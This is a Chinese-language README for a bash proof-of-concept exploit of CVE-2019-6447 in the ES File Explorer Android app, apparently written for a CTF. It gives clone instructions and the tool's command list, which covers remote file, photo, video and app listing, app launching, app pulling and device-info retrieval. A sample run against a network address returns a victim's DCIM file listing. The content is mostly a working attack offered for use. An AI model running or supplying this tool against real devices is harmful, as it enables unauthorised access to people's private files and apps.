
这是对 CVE-2019-6447 PoC 的一个非常简单的 bash 实现。它基本上利用 curl 发送带有正确参数的请求。我编写这个脚本是因为在 CTF 中寻找类似的脚本时没有找到。你可以根据自己喜好修改和定制原始脚本。
只需克隆仓库并使用 .sh 文件。
git clone [email protected]:julio-cfa/POC-ES-File-Explorer-CVE-2019-6447.git
或者将原始内容复制粘贴到一个文件中。
kyoto :: ~ % ./ESExplorerExploit.sh -h
--- 这是 ES 文件浏览器 CVE-2019-6447 的一个非常简单的 PoC ---
你可以尝试以下命令:
listFiles 列出所有文件
listPics 列出所有图片
listVideos 列出所有视频
listAudios 列出所有音频
listApps 列出所有已安装的应用程序
listAppsSystem 列出系统应用
listAppsPhone 列出与通信相关的应用程序
listAppsSdcard 列出 sdcard 上安装的应用
listAppsAll 列出所有应用程序
getAppThumbnail 列出指定应用程序的图标
appLaunch 启动指定的应用程序
appPull 从设备下载一个应用程序
getDeviceInfo 获取系统信息
使用示例:./ESExplorerExploit.sh 10.10.10.247 sdcard listFiles
kyoto :: ~ % ./ESExplorerExploit.sh 10.10.10.247 sdcard/DCIM listFiles
[
{"name":"example1.jpg", "time":"4/21/21 02:38:08 AM", "type":"file", "size":"135.33 KB (138,573 Bytes)", },
{"name":"example2.png", "time":"4/21/21 02:37:50 AM", "type":"file", "size":"6.24 KB (6,392 Bytes)", },
{"name":"example3.jpg", "time":"4/21/21 02:38:18 AM", "type":"file", "size":"1.14 MB (1,200,401 Bytes)", },
{"name":"example4.png", "time":"4/21/21 02:37:21 AM", "type":"file", "size":"124.88 KB (127,876 Bytes)", }
]
如果你好奇这个漏洞背后的工作原理,或者它失效了需要自己编写脚本,可以阅读以下链接:
https://packetstormsecurity.com/files/163303/ES-File-Explorer-4.1.9.7.4-Arbitrary-File-Read.html
https://github.com/fs0c131y/ESFileExplorerOpenPortVuln
https://www.safe.security/assets/img/research-paper/pdf/es-file-explorer-vulnerability.pdf
https://medium.com/@knownsec404team/analysis-of-es-file-explorer-security-vulnerability-cve-2019-6447-7f34407ed566